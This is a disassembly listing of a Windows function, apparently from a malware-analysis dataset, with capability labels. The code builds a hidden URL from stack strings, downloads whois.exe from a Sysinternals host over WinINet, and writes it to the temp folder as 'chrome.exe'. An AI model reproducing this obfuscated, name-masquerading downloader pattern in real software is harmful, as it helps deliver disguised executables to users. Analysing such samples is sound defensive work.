Function at 0x401460
Capabilities:
Contain obfuscated stackstrings
Create http request
Download and write a file
Get common file path
Query remote server for available data
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
push edi
mov eax, 0x285c
push esi
push ebx
call fcn.00402870
mov ecx, 0x37
sub esp, eax
xor eax, eax
lea edi, [esp + 0x64]
mov ebx, dword [esp + 0x2870]
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x38], 0
rep stosd dword es:[edi], eax
mov dword [esp + 4], ebx
mov dword [esp], 0x104
mov dword [esp + 0x3c], 0x70747468
mov dword [esp + 0x40], 0x2f2f3a73
mov dword [esp + 0x44], 0x6576696c
mov dword [esp + 0x48], 0x7379732e
mov dword [esp + 0x4c], 0x65746e69
mov dword [esp + 0x50], 0x6c616e72
mov dword [esp + 0x54], 0x6f632e73
mov dword [esp + 0x58], 0x68772f6d
mov dword [esp + 0x5c], 0x2e73696f
mov dword [esp + 0x60], 0x657865
call sub.KERNEL32.dll_GetTempPathA
sub esp, 8
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov edx, 0x6578
add eax, ebx
mov dword [eax], 0x6f726863
mov dword [eax + 4], 0x652e656d
mov word [eax + 8], dx
mov byte [eax + 0xa], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
mov dword [esp], ebx
call sub.KERNEL32.dll_CreateFileA
sub esp, 0x1c
cmp eax, 0xffffffff
je 0x401690
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov edi, eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.HTTP
call sub.WININET.DLL_InternetOpenA
sub esp, 0x14
test eax, eax
mov dword [esp + 0x2c], eax
je 0x4016b0
mov eax, dword [esp + 0x2c]
lea esi, [esp + 0x3c]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.WININET.DLL_InternetOpenUrlA
sub esp, 0x18
test eax, eax
mov ebx, eax
je 0x4016d2
lea ebp, [esp + 0x38]
lea esi, [esp + 0x140]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], ebp
mov dword [esp], ebx
call sub.WININET.DLL_InternetQueryDataAvailable
sub esp, 0x10
lea eax, [esp + 0x30]
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 8], eax
call sub.WININET.DLL_InternetReadFile
sub esp, 0x10
lea eax, [esp + 0x34]
mov dword [esp + 0x10], 0
mov dword [esp + 4], esi
mov dword [esp], edi
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 8], eax
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
mov eax, dword [esp + 0x30]
test eax, eax
jne 0x4015f0
mov dword [esp], ebx
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov dword [esp], edi
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
add esp, 0x285c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 4], ebx
mov dword [esp], str.Fail_:_CreateFileA____s_n
call sub.msvcrt.dll_printf
add esp, 0x285c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], edi
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [esp], str.Fail_:_InternetOpenA
call sub.msvcrt.dll_puts
add esp, 0x285c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov dword [esp], edi
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [esp + 4], esi
mov dword [esp], str.Fail_:_InternetOpenUrlA____s_n
call sub.msvcrt.dll_printf
jmp 0x401682